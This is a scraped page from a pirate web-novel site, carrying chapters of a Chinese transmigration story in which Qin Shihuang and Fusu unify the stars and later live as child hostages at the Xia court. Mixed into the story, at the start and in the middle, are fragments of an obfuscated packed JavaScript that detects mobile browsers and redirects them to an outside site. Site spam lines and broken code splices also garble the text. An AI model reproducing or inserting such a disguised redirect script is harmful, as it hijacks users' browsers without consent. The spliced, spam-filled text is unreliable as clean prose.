l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163383|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 扶苏举了个最简单的例子。 他给父亲看了蓝星论坛上的吐槽。 是华夏人去西方旅游,结果发现每个国家的插头标准都不相同。导致自己买了一串的转换器,不然连给手机充电都费劲。 当时就有人在下面戏称“能不能来个秦始皇把插座统一一下。 扶苏笑道: “现在他们算是求仁得仁了。 科研部听闻了太子殿下的诉求后,立刻想到了解决办法。 他们说正好到了技术换代的时期,研究所研究出了新能源和适配它的基础建设,类似于研究出了电能和电线。 但是因为之前各地都在用旧能源和旧线路,互相不兼容,就一直在考虑要不要从“电线上下文章,改成兼容的模式。 这样可以节省成本,不用重新铺设基础“电路。 既然如今大秦想趁机搞事,那就不用弄什么兼容了。就用最新设施去铺,由大秦牵头,统一向下推出新技术。 然后,他们就可以在给各星球翻新的同时,顺便把“插头 反正能搞的事情不少。 各星系还说不出个拒绝来,你拒绝那新技术就不普及给你们家,看最后是谁着急。 唯一的问题是—— 扶苏无奈地表示: “钱不够。 全星际这么搞一通下来,要花很多钱。星盟之前没搞,就是嫌弃费钱。 而且新线路铺完,旧仪器用起来会不太方便。得额外买个转换头,才能使用新能源给仪器供能。 所以整个过程弄完,不仅大秦要出很多钱,民众自己也要增加买转换头的支出。 秦政却觉得这是好事: “太子懂经商,应该知道怎么解决。 扶苏就笑了: “自然,父亲放心便是。 铺设基础路线花的钱多,那就找各文明一起出资。是为你们自家做建设,没有只让联盟出钱的道理。 毕竟你们目前还觉得自己是独立的国家呢。 新能源使用起来高效便捷,哪怕要买转接头,其实也是划算 的。转接头的钱,使用新能源半年就可以省出来,后面就是单纯的净赚了。 民众一开始或许不满,时间长了见识到两边的差距,就会知道好赖。 实在不行还可以暂时留下旧线路,让他们自己感受两边的差距。慢慢添置转接头,更换充能方式,旧线路使用的人越来越少,就可以拆除了。 舆论造势也是扶苏的强项。 他已经在心里盘算好了,怎么借用民间舆情胁迫不愿意出资的文明出钱合作。 先在部分配合的星系做试点推广,然后大力宣传其优越性。吊起民众的期待值之后,接下来的一切就都好办了。 顺便,大秦还可以卖转接头。 这种摆在明面上的蓝海市场,肯定是要自己先占领的。顺手回一波血的事情,联盟总不能只出不进。 秦政说这是件好事,便是因为他认为可以借此从各大文明手里掏钱。地方政府太有钱对中央不是特别好,资金当然是收归国库由中央分派更合适。 把各地的小金库消耗一波,回头他们也能软下去一些,别总是硬气得跟联盟互顶。 扶苏则道: “以后会针对新能源研究出特制的能源舱和仪器,这些都是大秦赚取资金的利器。 表面上是科研所和国家控股集团联合出品,本质上就是给大秦挣钱。扶苏已经让巴清商蔓他们去折腾了,相信很快就会有成果。 能源一换,堪称是釜底抽薪。 从民众使用的小物品,到上层必须的机器设备,全得换。所以无论是民众的钱还是地方官府的钱,他们都能挣。 要把财富收归国有还不简单?科技时代捞金不要太容易。 一群青史留名的人精凑在一起,集合来自万千位面的经验,将计划完善了一遍又一遍。最后各自拿着自己那份出去施行的时候,自己都觉得这是在欺负小朋友。 各星系基本没有还手之力。 阳谋是最难抵抗的,何况大秦背后不止是大秦,还有从各位面搜罗来的宝贵经验。无论你祭出什么应对方案,他们都能迅速破局反杀。 这些臣子之前在地府待得无聊,哪怕偶尔去残缺位面,面对的也是没什么难度的题目。 好不容易出现个有挑战性的局面,可把他们 高兴坏了。 各星系在拼尽全力自保,他们在挑战“奥数题,这怎么比? 星际人的平均寿命只有三百年。 地府各位完全不介意跟他们耗上三千年,只要能一直斗下去,让大家感觉到其乐无穷。 可实际上大多星系压根没撑到三百年那么久,一百年没到他们就崩了。 和一个永远无法战胜的对手对拼,不是谁都有那个韧性一直努力的。新生代中又出现了越来越多支持秦盟的人,星际已经彻底进入了大秦时代。 自秦盟覆灭星盟起,为秦历元年。 秦历100年整,强迫症始皇帝陛下宣布改秦盟为秦国,并调整了各星系行政单位的名称。 从此,星际只有一个国家,就是秦。 原本蓝星的华夏国虽然还在,但她并不加入星际。 华夏国在认认真真地走修炼路线,努力钻研科技飞升的方法,完成举国的愿望——大家自己带着银河系出走,开辟个仙界出来。 万千世界,为什么不能多个只有他们华夏国的仙界?反正自成一界又不影响跨位面建交,还是单独待着比较清静和安全。 扶苏觉得他们应该很快就能成功了。 因为主角在华夏国。 别忘了,这个位面最初诞生于一个小说。小说主角永远是有特权的,只是额外出现一个仙界空间而已,对法则来说并不困难。 ——其他位面也出现过多空间并存的情况。 大约等华夏研究出举国飞升的办法时,就会惊喜地发现正好有个现成的空白空间在等着他们去占领吧。 反倒是蓝星上的其他文明,并没有坚持走华夏的道路。大部分都选择移民星际了,然后在这次大秦建国的过程中被一并降为了普通行政区。 可惜的是星际时代习惯了无帝制,大秦不可能重新再改回帝制。 不过无帝王之名,不代表没有帝王之实。名头只是说着好听的,倒也没那么重要。 谁不知道那些被镇压的各星系旧势力都在私底下骂秦政“暴君 说的域名qiexs.com?(请来企鹅小 说 看最新章节 完整章节)? 不幸的是到了这个年代,这样的谴责发到星网上甚至都得不到几个人的点赞。新生代可不觉得陛下是暴君,他们只觉得是旧势力输不起在无能狂怒。 秦历130 第 218 章 乌龙 既然不饿,就不用着急去秦阁了。 虽然秦政手头有余钱,日子过得还可以。但也正因为他有余钱能让宫人肯照顾他一二,才导致秦阁里人多眼杂。 难道还真能指望敌国皇宫里的侍者会真情实感地忠诚于自己这个质子不成? 所以冷寂荒废的渊阁反而更适合商量事情。 父子俩来到渊阁。 渊阁和秦阁都是一个独立的小型阁楼,二层高,颇有江南建筑的风格。带一个不大不小的院子,角落有几间侍从居住的矮房。 但这会儿阁内无人。 像这样的小院,精心打理的话会成为皇宫中别具一格的景致。然而自从被分派给质子居住后,它们就渐渐荒败了下来。 尤其是渊阁这里,格外凄凉。 正好到了深秋时节,草木凋零。无人打理的花草越发显得寂寥,许多地方枯草丛生,院子里还有一颗害病枯死的老树。 已经没人记得这里曾经的模样了,也没人记得它以前叫做玉兰阁,而不是渊阁。 秦政皱眉打量了一番四周: “他们就让你住这样的地方?” 他家太子自幼锦衣玉食,吃穿住行都要最好的。别说没当过处境艰难的质子了,就是寻常不受宠公子的遭遇都没经历过。 扶苏拉着阿父的手往里走: “是原主住这样的地方,我才刚来呢。阿父,你早膳用过了吗?” 他想着父亲哪怕使了银子估计也换不到太好的食物,远不如御膳可口。虽然木盒里藏起来的是他吃剩下的,却也都是还未动筷的干净食物,父亲肯定不会嫌弃的。 秦国质子才十三岁,正是长身体要发育的年纪。 当初这个岁数时,他阿父早都回到大秦继位了,自然不会因为吃不好影响发育。可现在身处异国他乡,那就不好说了,万一长不到原本的八尺六寸那多亏? 秦政看十岁的小崽忙忙碌碌地把藏起来的御膳取出来,觉得像是看一只冬天藏了一树洞松子的小松鼠。 可爱。 虽然不饿,但太子辛苦忙活了一遭,秦政还是给面子地吃了一些。吃完他看了看周围,还是觉得碍眼。 秦政便道: “你搬来同朕住。” 扶苏摇 了摇头。 他没说什么,可父子俩其实心里都清楚,寄人篱下时住哪里并不是他们能够说了算的。 何况两人身份敏感,都是别国质子,接触太多还容易引起夏帝的不满。 这里到底不是战国。 战国时期各国手底下都压了多名质子,这些质子只做互相威慑用,并没有那么重要。所以质子们之间的交往,各国都不是很在意。 夏国不一样,夏帝绝对不会乐意看到两国的质子关系紧密的。 秦政已经很久没有这种受制于人的体验了。 穿越一遭,竟然沦落到了连爱子都无法庇佑的地步。心下不由气闷,但很快便开始思索对策。 秦政习惯了唯我独尊,方才也是下意识就说出那话。既然话已出口,他就没有要改的意思,再难他也会想办法办成。 扶苏则好奇地挨过来,伸手戳了戳属于父亲的修改器界面。 他原本是看不见这个界面的。 自从两人互相通气,说自己都有错别字修改器后,就能看见彼此的记事本窗口了。不仅可以看见,还能操作。 扶苏的菜单栏里只有一些非常基础的功能,比如搜索关键字这些。父亲的也一样,甚至标题都是一样的《质子为皇》。 扶苏有些搞不明白了: “所以我和阿父谁是主角? 秦政收回思绪看了一眼: “剧情只有个开头,为何不能是双主角? 没有结尾,谁也不知道最后结局如何。如果只是两人各自回国登基,也是有可能的。 毕竟故事从未说过未来天下会成功一统,最终只剩一个皇帝。 秦政跳过这个话题,问起扶苏继位后的事情。他已经知道扶苏是当了十年皇帝后驾崩的,难免担忧儿子这十年里是否受过什么委屈。 扶苏大事上惯爱报喜不报忧,小事上才会撒娇装可怜。 所以当听太子说没受什么委屈时,秦政就认定他肯定被人欺负了。 秦政摸了摸他脑袋。 扶苏歪头: “真的没有呀! 他记不太清这十年都经历了什么,基本都是些处理国事的日常。因为实在乏善可陈,所以才说没受委屈。 他倒是想拎一件事 情出来说说好叫阿父心疼他。结果想不到有什么能说的实在可惜。 然而站在秦政的角度上就是正常情况扶苏哪怕夸大事实也会卖个惨。不卖就一定是受了大委屈不想让他为自己担忧。 秦政给他把乱糟糟的发髻拆了: “这头发谁给你梳的?” 扶苏伸手摸了下: “不知道醒来就这样了可能是原主自己梳的。” 秦政在屋内找了找找到个梳子。示意儿子坐好 扶苏晃了晃够不着地面的小短腿: “阿父好久没给我束过发了。” 秦政应了一声: “自朕老后都是太子替朕束发实在孝顺。” 扶苏乖乖等父亲忙完才往他身上一趴虽然现在的身体只差三岁但看起来完全是小少年和小稚童的区别。 因为渊桑严重营养不良吃不饱饭长得又瘦又小。纯靠天生丽质才能保住身上的一身白嫩皮肤不然早就被磋磨得枯黄黑瘦了。 反观秦正吃饱穿暖还是不愁的。哪怕还没到抽条的年纪西北基因叫他本身就比同龄孩子高大许多。 秦政把儿子抱起来掂了掂: “你这是十岁?” 说五岁他都嫌多。 扶苏瘦得快成骨头精了小胳膊小腿都细得吓人个头也矮。本身渊国人的身形就相对娇小些这么一来雪上加霜。 秦政把儿子放下开始解他身上的衣服。 这衣服也是穿了多年的旧服因着渊桑发育迟缓正好省了时常更换新衣的麻烦。 即便如此衣袖也短了一截。更别提布料老旧边角开线了。 幸而宫中有专门的浣衣坊不然要是叫各宫自己浆洗衣裳的话小孩怕不是要亲自洗衣服或者凑合穿脏的。 扶苏愣了一下衣服就被扒了。 他迷茫地问道: “阿父?” 秦政看了看他的胸腹: “身上果然一点肉都没有。” 薄薄的皮肤紧贴在肋骨上一排排骨头清晰可见。别说亲爹了路人看了都会忍不住心疼。 秦政压下了心底的怒火温柔地给儿子把衣服重新穿好。可这深秋时节 ,穿着这么单薄,难免冻一个哆嗦。 扶苏往父亲身上靠了靠: “阿父,我有点冷。 父亲身上暖烘烘的。 秦政立刻把身上的披风解下来给他裹上。 秦政起身: “你在这里等一会儿。 他打算回去拿点东西过来,短时间内无法叫儿子住到他那头去,那就给这边多添点用品。 扶苏拉住了父亲的袖子: “阿父,我有个主意。 鹅小说全网首发无弹窗免费阅读qiexs.com?(请来企 鹅小说 看最新章节 完整章节) 一刻钟后,秦政回到秦阁。侍女笑着为他奉上热茶,同他说今日风大,小心着凉。 秦政心不在焉地与她交谈几句。 侍女见他频频往外看,有些疑惑: “公子在看什么? 秦政收回视线: “今日出门偶遇了公子桑。 夏国皇宫里一般称他们这些质子为公子,但夏国自家的就是皇子殿下。 仿佛靠着这样的称呼,就可以压三国一头似的,反复提醒质子们——你们只是诸公之子,你们父亲的地位都在夏帝这个天子之下,何况你们本身? 很无聊的精神胜利法。 侍女没怎么见过渊桑,听完没什么感觉,只随口回应了句“奴婢倒是很少见到那位公子。 说着,她忽然发现了什么: “公子的披风? 秦政摇了摇头,没有多说,就进书房看书去了。 过了片刻,小太监跑来和婢女说门口有个探头探脑的小孩。婢女忽地想起了方才提到的公子桑,快步走到了院门口。 果然瞧见身材娇小的孩子躲在不远处的树后,偷偷看向这里,身上还裹着眼熟的披风。 婢女走了过去: “不知公子过来所为何事? 扶苏怯怯地从怀里取出一个东西: “阿兄送了我礼物,我来回礼。 那是个不怎么珍贵的小玩具,她们公子其实不缺。但是婢女看到捧出玩具的瘦弱小手,又见小孩满脸期待,到底没有拒绝。 婢女接了过去: “奴婢会转交给公子的。 扶苏抿唇笑了笑: “谢谢姐姐。 小孩天生长得好,笑起来又甜又乖,特别讨 人喜欢。 到底是大秦第一美男子的幼年态,瘦弱也不会影响太多颜值,反而更叫人心疼。人都是喜欢好看生物的,婢女没忍住多看了他两眼。 小孩却已经拢着披风跑开了。 婢女回到院中,鬼使神差地叫住方才那个小太监,问他公子桑今年多大了。 小太监有些奇怪: “碧月姐姐怎么突然问这个?” 碧月随口答道: “我方才和公子桑聊了两句,总觉得哪里怪怪的。忽地想到他好像四五年前就来咱们大夏了,怎么如今瞧着还是四五岁的模样?” 小太监是负责探听消息的,知道的要多些。 他压低声音回说: “还不是吃不饱饭闹的?姐姐也见识过宫外的穷苦人家,都是这样的。实不相瞒,公子桑如今也九、十岁了。” 王室子弟日子过得如此凄惨,也是少见,还不如他们这些当奴婢的呢。 碧月心下同情。 但她并不是多管什么,她只是比旁人稍微善良一二,还没那么胆大。她一个寻常奴婢,可没资格接济人家公子。 是以碧月只是去书房和秦政说了一声,留下了那枚玩具。 秦政看着它,叹了口气: “这应当是公子桑唯一的玩具了。” 碧月不曾接话。 顿了顿,秦政像是下定了决心: “我出去一趟。” 碧月忽然意识到公子要做什么。 她连忙阻拦: “公子!您自己也处境艰难!” 自身难保还要管别人,公子也太心善了。若叫陛下知道,只怕以后日子不好过。 秦政却不顾她的阻拦出去了。 不多时牵着小孩回来。 碧月脸色有些难看,想要用冷脸吓得小孩自己离开。可是对上那双清澈的大眼睛,实在拉不下脸。 最后也只能无奈地赌气: “公子日后可别后悔!” 秦政把儿子推到她面前: “你带他去洗漱换一身衣裳,姜汤也备好,莫要着凉了。” 碧月只好把走路都费劲的小孩抱起来,带去了澡间。 幸而孩子身量够小,洗澡也用不了太多热水。碧月使了点银 子叫小太监去买了桶热水回来就能解决扶苏洗澡的问题。 小孩本来就爱干净宫里也不可能真叫他脏兮兮的待着所以一桶水就够洗了。碧月又给他找了秦正小时候的衣服出来换上顿时从落魄公子变成了锦衣公子。 秦政看到被带回来总算像模像样了一些的儿子十分满意。 碧月问道: “公子可有什么章程?” 总不能就这么一直私下里来往。 秦政回答: “先让他在这里住几日。” 碧月松了口气以为公子只是暂时帮这孩子一把心里还是有成算的。 等人一走。 扶苏对父亲说: “二皇子应该听见了。” 秦政颔首: “接下来就看夏帝是个什么想法。” 方才秦政出去寻儿子实则是特意做了一出戏。 两人原本是想先借口公子正心善让扶苏住进来再说。只要最初住进来的借口可以说服所有人 哪怕夏帝心里不高兴面上也无法说什么。 别国质子在自家饿到皮包骨难道就是什么好名声吗?连稚童都磋磨只会被指责心胸狭隘。 这种事情不闹出来就没人管闹出来谁脸上都不好看。闹完之后夏帝是没脸了质子的生活条件确实可以改善不少背地里的针对却会剧增。 所以在最初秦政回来的路上他们远远发现了二皇子在林中赏秋海棠就果断调整了计划。 方才扶苏离开后特意停留在海棠林的不远处秦政来寻他时弄出了一点动静。两人站在花丛另一边进行了一番对话。 秦政劝说: “你那里连个侍奉的宫人都没有还是随我回秦阁吧。” 扶苏就回: “有宫人的只是他们经常躲懒找不见人。” 秦政却不满地道: “他们想起来才给你领一回膳食想不起来就叫你饿着。日日都是稀粥淡饭还只有一点你看你都瘦成什么模样了?” 扶苏便不说话了。 秦政又挑剔了他的衣裳: “宫中再怎么冷待你我二人每季也会给质子做新衣。你怎么 还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254337|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿着多年前的旧衣?他们是不是把你的衣裳抢走了? 扶苏小声回答,活像个受气包: “我不知道,他们说没有新衣。 秦政强硬地拉着他: “你跟我回去。 交谈就断在了这里。 二皇子饶有兴致地听完,花也不赏了,转身前往母妃宫中请安。 二皇子是贵妃所出,比不得正宫皇后的嫡长子。对方早已加封太子,时常瞧不起底下的弟弟。 但二皇子比他聪明,明智地选择了走谦逊路线。 他的功课做得不比太子差,也不会比太子好太多,免得招来太子记恨。保住太子风头的同时展现了自身,还能获得所有人的交口称赞。 二皇子对外的人设就是一个温柔善良的好人。 这样一个人,听说了质子的遭遇会怎么应对呢?他绝对不会傻到完全不管,因为这是个很好的机会。 二皇子回去同贵妃说: “公子桑住进了秦阁之中,父皇必然会得到消息。今早膳房闹出了乱子,父皇正是愠怒的时候,听闻此事必然拿他们泄愤。 贵妃是个聪明的女人: “御膳房说到底也是归皇后管辖的,今日陛下不曾迁怒皇后,也不过是因为皇后平日里处理六宫事务从未犯过错。 二皇子点头: “苛待质子这事,说到底也是治宫不严。底下的宫人如此奴大欺主,可见皇后失察。往大了说,此事也会引起四国纠纷。 贵妃眼眸微眯: “若是寻常,自然不好揪着这点小事特意去同陛下告状。何况平白无故地为质子说话,也容易叫陛下警惕。 二皇子默契接口: “然而这回是父皇自己先听闻了质子的事情,儿臣不过恰好一起听见,顺势劝说了两句而已。 贵妃笑了: “我儿一向仁善,自然见不得这样的事。由你开口,陛下也不会觉得这是后宫在给皇后上眼药。这次皇后怕是躲不过一顿数落了。 二皇子又补充了一句: “七弟鞭挞伴读,这事还是要同父亲说一说的。 七皇子是皇后的养子,虽然没有记在皇后名下,避免多出个嫡子来。却也是和皇后关系要好的表妹所出, 当初表妹难产去世孩子就一直养在皇后膝下。 皇后教养的皇子做出这种事情算是再给这件事添把火。 母子俩很快商量好对策。 二皇子便直接去求见了夏帝。 他对夏帝提起七皇子的事: “儿臣身为七弟的兄长不好放任他继续犯错。非我想向父皇告弟弟的状只是那伴读都是朝臣之子……” 夏帝果然脸色不好起来: “真是荒唐!” 若是奴婢鞭挞也就鞭挞了朝臣之子怎么能随便欺辱?他还没天下一统呢那些臣子要是在大夏待得不高兴是有可能转投他国的! 夏帝夸了一句儿子做得对这种事情绝不能包庇。 正说着就有小太监过来回禀 二皇子因为是现场听到了两人的对话率先知道内情才能先一步安排好后续的计划。 皇帝这里要等扶苏进了秦阁久久不出来才能确定是两人交往过密。 主要也没人会整日跟着两个年幼的质子盯着他们的一举一动。眼线是秦阁里头侍奉的宫人对方确认后再往外传消息便慢了不止一步。 皇帝根本没怀疑二皇子提前知道消息。 他正要发火就被二皇子劝住了。 二皇子隐晦地提起了邦交。 如今大夏休养生息不好闹大。关键是这事闹大了有损夏帝名声说到底不过是宫中奴婢欺上瞒下的小事。 夏帝顿时想起了早上的事情。 御膳房出了问题七皇子出了问题质子那边也出了问题皇后就是这么管的后宫? 这三件事哪件都不是小事。不是影响到了夏帝自身就是会影响夏帝的大业。 夏帝厌恶地皱起眉头。 他觉得皇后最近实在是糊涂。 自己把早上的事情交给皇后去查就是为了给皇后一个面子也不知道皇后现在查得如何了。 夏帝决定再给皇后一个机会。 他摆摆手让二皇子退下自己摆驾去了凤仪宫。他要问问皇后查出什么名堂了没有到底是谁胆大包天敢动他的御膳。 至于那两个报团取暖的质子。 老二说得对不 过是两个小孩子罢了。从小就被送来大夏为质了,根本不足为虑,他们的交好也代表不了秦渊两国的态度。 正好他也懒得再给渊桑指派什么人手去照顾,免得又出现这次的事情闹得他没脸。那秦正不是有钱?就让渊桑跟着他住好了,保管不会被欺辱。 秦阁里。 扶苏还是觉得有点冷,可这会儿没到点炭的时节。没了以前身为太子的特权,这副小身体就算因为体弱而畏冷也只能硬熬着。 秦政把他塞进被窝里,用被子裹成了一个小球,还让人灌了汤婆子送来。 扶苏伸出小手去拉父亲: “阿父能进来给我当暖炉吗?汤婆子太小了。 他身体都发不出太多热量来,裹了一会儿被子里还是凉凉的。 秦政二话没说答应了: “好。 扶苏这身体也就比当初中毒那会儿稍微好一点,叫他看得揪心。 扶苏窝在父亲怀里就很开心: “阿父。 秦政给他把被子掖好: “嗯? 扶苏没说话了,过了一会儿又喊了一声。 秦政就知道他是在害怕。 秦政拥紧他: “朕在呢,不会再丢下你一个人了。 不怪扶苏害怕,对他来说独自度过了没有父亲的十年,好不容易失而复得,难免担忧一觉醒来只是个梦。 秦政轻轻遮住他的双眼: “睡一会儿吧。 扶苏不想睡。 秦政哄他: “睡醒之后发现朕还在,以后就不怕了。 小说更新,记住域名qiexs.com?(请来企鹅 小说 看最新章节 完整章节) 扶苏崽把脑袋埋在父亲颈窝里,闷闷地答应了一声。虽然不想睡,还是乖乖闭上了眼睛,过了一会儿就在温暖的怀抱里沉沉睡去了。 扶苏睡着后没多久,修改器刷新出了新剧情。 「夏帝前往凤仪宫质问皇后早晨的事情查得如何,奈何皇后对此毫无头绪。御膳分明已经做好,却不翼而飞,这如何都说不过去。 夏帝斥责皇后治宫不严,心里又难免生出一些惶恐来。 此事处处透着蹊跷,即便御膳失踪,底下的太监也不可能胆敢直接给他奉上清粥小菜。 莫非——皇宫中闹鬼?」 第 219 章 万寿节 夏帝起初是想反悔的。 毕竟在场的人,难道还有人敢对他的决定提出异议不成?自打脸就自打脸,他是天子没人敢当面笑话他。 但是那宫妃听到他的话后惊呆了,大声追问是真的吗。因为过于激动,声音太尖锐,吸引来了不远处巡逻的侍卫。 此地偏僻,更容易藏匿危险分子,是以侍卫们时常在这类地方搜查。正巧撞上这样的场景,委实算不上是运气原因。 当时夏帝的脸涨得通红。 看不懂眼色的侍卫队长还在追问发生了什么事,但凭陛下吩咐。陛下只希望他赶紧走,别来瞎掺和。 修改器的力量到底是巨大的。 夏帝金口玉言说赐婚,那就必须赐,不能反悔。除非超过了一个时辰的时限,但夏帝回御书房的速度太快,完全没能等到效果过去。 一回到御书房,他就鬼使神差地提笔写下了那封诏书发下去。 诏书一发,事情就瞒不住了。 局势到了这个地步,夏帝除了咬牙接受没有别的选择。君无戏言,何况还下发了诏书。 为了不成为笑柄,夏帝只好接受了众人夸他心胸宽广的说辞。 扶苏回到阁内便道: “夏帝还是有些运道在身上的。” 出门去御花园,偶遇他儿子鞭挞太监。出门去打野战,偶遇他宫妃抱怨他强抢民女。 秦政听他还说风凉话,笑着敲了敲他额头,示意他少说两句。 扶苏已经开始期待起新乐子来: “我记得每年冬月夏帝过生辰的时候,宫里都要举办万寿节的宴会。” 夏帝这个人遗传了他亲爹,有点好大喜功的毛病。没有功劳给他庆祝的时候,也就只能庆祝庆祝生辰了。 所以每年的万寿节都办得很隆重,遇到逢九的年岁,还要更隆重些。 今年恰好是夏帝的三十九岁。 虽然是三十九的生辰,却不会称九,而是称十。因为有些时期讲究满则招损,所以整十的时候不好大办,何况古人本就喜欢算虚岁。 扶苏他们位面没这个顾忌,毕竟是同人文位面,很多习惯走的是现代年轻人的偏好。 但夏帝还是很坚持的。 宫中为着这个“陛下的四十大 寿提前做足了准备,尤其是夏帝已经准备好等四十之后大展拳脚,再跟三国开战一场了。 当然,目前计划有变。 夏帝翻了翻两国质子的资料: “这秦国质子还有培养的价值,渊国这个就有些多余了。 丞相劝说道: “陛下此言差矣。秦国乖觉,肯接受我大夏这个宗主国指派去的新王,自然是件好事。那渊国不听话,若是抗拒指派,不正好作为发兵的借口? 夏帝一想也是: “可等他们长成还要多年……不如这样,叫两国立质子为太子。若是不肯,我大夏即刻发兵。 丞相拱手称赞: “陛下英明。 夏帝眼里闪过一丝精芒: “秦国既然乖乖顺从,那就让朕看看他是不是真的乖顺。若在朕攻打渊国与蛮国的时候出兵支援,哼。 自然不可能秦王装乖,夏帝就立刻相信了。他一直在冷冷地审视着这些别国之人,耐心地等他们露出狐狸尾巴。 丞相深以为然: “此前攻不下三国,便是因为他们守望相助。如今秦国退出联盟,渊国与蛮国绝无可能抵挡住我大夏精锐。 尤其是秦国正好处在中间,往北连接北蛮,朝南接壤南渊。拉拢了秦国,南北就很难联合在一起,共同抵御夏国了。 秦阁中,父子俩也在商量战事。 此界的地理情况和华夏大体是一致的。 秦国的地盘和历史上的大秦差不多,陇西、关中与巴蜀。 蛮国占据了广袤的草原,是由类似匈奴人的蛮族组建的国家。 渊国则手握长江流域和珠江流域,西南、两广、浙闽和湘赣,是他们的地盘。 剩下的全是夏国地界,也难怪夏国如此得意,其中山东、江苏和辽东是他们从海国抢的。 海国占地面积最小,却十分富庶,再加上无险可守,第一个被吞并不足为奇。 毕竟海国可不像以前的齐国那样,努力发展军事力量,中原和北境又有燕国与韩赵魏四国牵制。这里的四国之地几乎都归所有夏国所有,海国拿什么抵抗? 扶苏分析: “夏国先帝灭海之后便觉得其余三国不足为虑,应当是认定三地不如夏国 富足,乃是四夷之地。 夏国自己手握良田无数和充足的人口,其他地方比不了。南方瘴气导致疾病丛生,西边偏居一隅基础条件差,北边的蛮族随便打打都能打赢。 就像春秋战国那会儿,大秦还没修都江堰和郑国渠,北边的匈奴也没有威胁,南边楚国的富庶之地则并非湘赣而是它们北边的鄂皖。 然而鄂皖现在是夏国的地盘,补偿给渊国的是更难的百越。 秦政颔首: “先帝还是有一定军事眼光的。 扶苏被逗笑了: “阿父,你又嘲讽人家。 先帝有一定的军事眼光,不就是在说今上没什么眼光吗? 十多年前夏国攻打三国的经历,那叫一个生动有趣。 很少能用生动有趣来形容打仗。 夏国先去打了他们觉得是最好捏的秦国,但是秦国经历了之前十几年的杯弓蛇影,早就警惕起来了。 说真的,扶苏还是理解不了,为什么夏国能干出连续17年对外宣称要灭绝三国,结果一直没出兵的事情。 反正三国为此可是努力了17年。 或者说秦国为此努力发展了17年。 这17年里愣是紧赶慢赶把巴蜀和关中的水利给它修了,就为了备战灭国危机。 北边的蛮国还好点。 大概是想着自己大不了就四散去草原各地,你夏国还真能一寸寸搜寻草原把我们都杀光吗? 所以蛮国刚开始紧张了一阵,后头就正常操练兵马了,顶多强度比之前高了些。 南边的渊国比较离谱。 它们属于“一鼓作气,再而衰,三而竭的典范,同样是狼来了故事的深切受害者。 第一个五年,渊国紧急戒备,努力练兵。第二个五年,有点懈怠了,但还是没敢彻底放松。第三个五年,怀疑夏国在说大话,训练慢慢就没那么认真了。最后两年,彻底摆烂不训了。 结果就是夏国突然发兵攻打秦国,秦国积极应战。虽然时常战败退让,却卡住了函谷关天险,没让夏国进来占便宜。 夏国一看秦国是块难啃的硬骨头,干脆扭头去打渊国。渊国着急忙慌地接下了攻击,刚开始节节败退,直到他们也开始学习秦国龟缩。 秦国有天险,他们也有啊! 作为渊国门户的湘赣两地,都是四面环山的地界。把控住要紧的关隘,还是有一定抵抗能力的。 哪怕不如关中那么高枕无忧,也比其他地方好。昔年海国所在地如果有这个地理条件,也不至于轻易被灭了。 夏国只能试图从浙地突破,然后发现突破了浙地也没用。浙地往西打赣地照样是连绵山脉,浙地往南打闽地简直是自讨苦吃。 闽地在历史上很长一段时间里都是中原啃不下的肥肉,可没那么好占。 渊国差点翻车,回去就开始苦练兵马,再不敢随意懈怠了。 最后夏国又去打蛮国,然后找都找不到蛮国人跑去了哪里。他们逐水草而居,少数的一些城池都在大漠深处,进去就迷路。 第一次进攻以失败告终。 休整了两年夏帝又卷土重来,这次他认真研究过后,发现渊国才是真正好欺负的。打渊国不用想办法突破函谷关,也不用努力学习草原认路。 渊国那点子天险,努努力还是能相对轻松啃下来的。至少和函谷关比起来,根本不算什么。 渊国发现有点挡不住了,就去找秦国支援。 两边通过巴蜀和黔中眉来眼去,互相交换物资。秦国再结合渊国给的消息,从夏军背后的武关出击,痛击夏军的屁股,把夏军又给打了回去。 秦国和渊国也算是“互为掎角之势”了,不断支援打配合,夏国迟迟无法攻克任何一方。 每当这个时候,蛮国就会南下,抢一波夏国北境的粮草物资。 夏国越打越觉得吃亏。 打了几年,一点成果没有,倒亏不少军备粮饷,还要被蛮族那头抢劫。所以夏帝才选择暂时休战,想把战斗力提一提,再去打。 扶苏有些疑惑: “光是练兵吗?没听说夏国有什么特别厉害会练兵的名将啊?” 秦政思考过这个问题: “练兵是一方面,或许也是想改进一下攻城利器。另有一点,他或许想麻痹三国。” 当初渊国就是因为轻敌大意差点酿成祸患,夏帝未必没有再复刻一次的想法。所以他这些年努力对外做出无心再战的模样,表面上好像真的堕落了。 扶苏摇了摇头: “渊国和蛮国有没有上当不知道,大秦肯定没上当。” 秦政露出一丝笑意: “所以秦王要假意投诚。” 不然秦国这样的刺头,夏国说什么都要先打它。 现在秦国乖顺了,夏帝可能就会考虑不去强攻秦国。走培养新秦王的迂回路线,然后叫大夏一手培养出来的秦王主动献国。 双方都在博弈,就看谁技高一筹。 扶苏便笑了: “无论夏帝相信或者不信秦国给出的态度,夏国在行动上已经放缓了对秦国的制约。以后想要再拾起来,重新研究针对秦国的战术和武器,还得再花费时间。” 夏国想让秦国懈怠,秦国没有。秦国想忽悠夏国先去研究针对别国的法子,夏国倒是很配合。 算下来,秦国小胜一筹。 随即,扶苏的眼珠子一转,起了点坏心思。 他凑到父亲耳边小声说: “夏国先帝分明在励精图治,虽然花了15年才把海国这点地盘治理好是有点没用,可到底也是在认真治国。舆论却将先帝打为昏聩之君,说他骄傲自满耽于享乐,完全不管真相如何。” 秦政耐心听他诉说,没有打断。 扶苏继续往下: “如今夏帝做的也是类似的事情,他在积蓄力量等待时机,并不是真正没了野心放弃进取。他走上了先帝的老路,为何结局不能复刻先帝呢?” 秦政眼眸微眯: “以其人之道还治其人之身?” 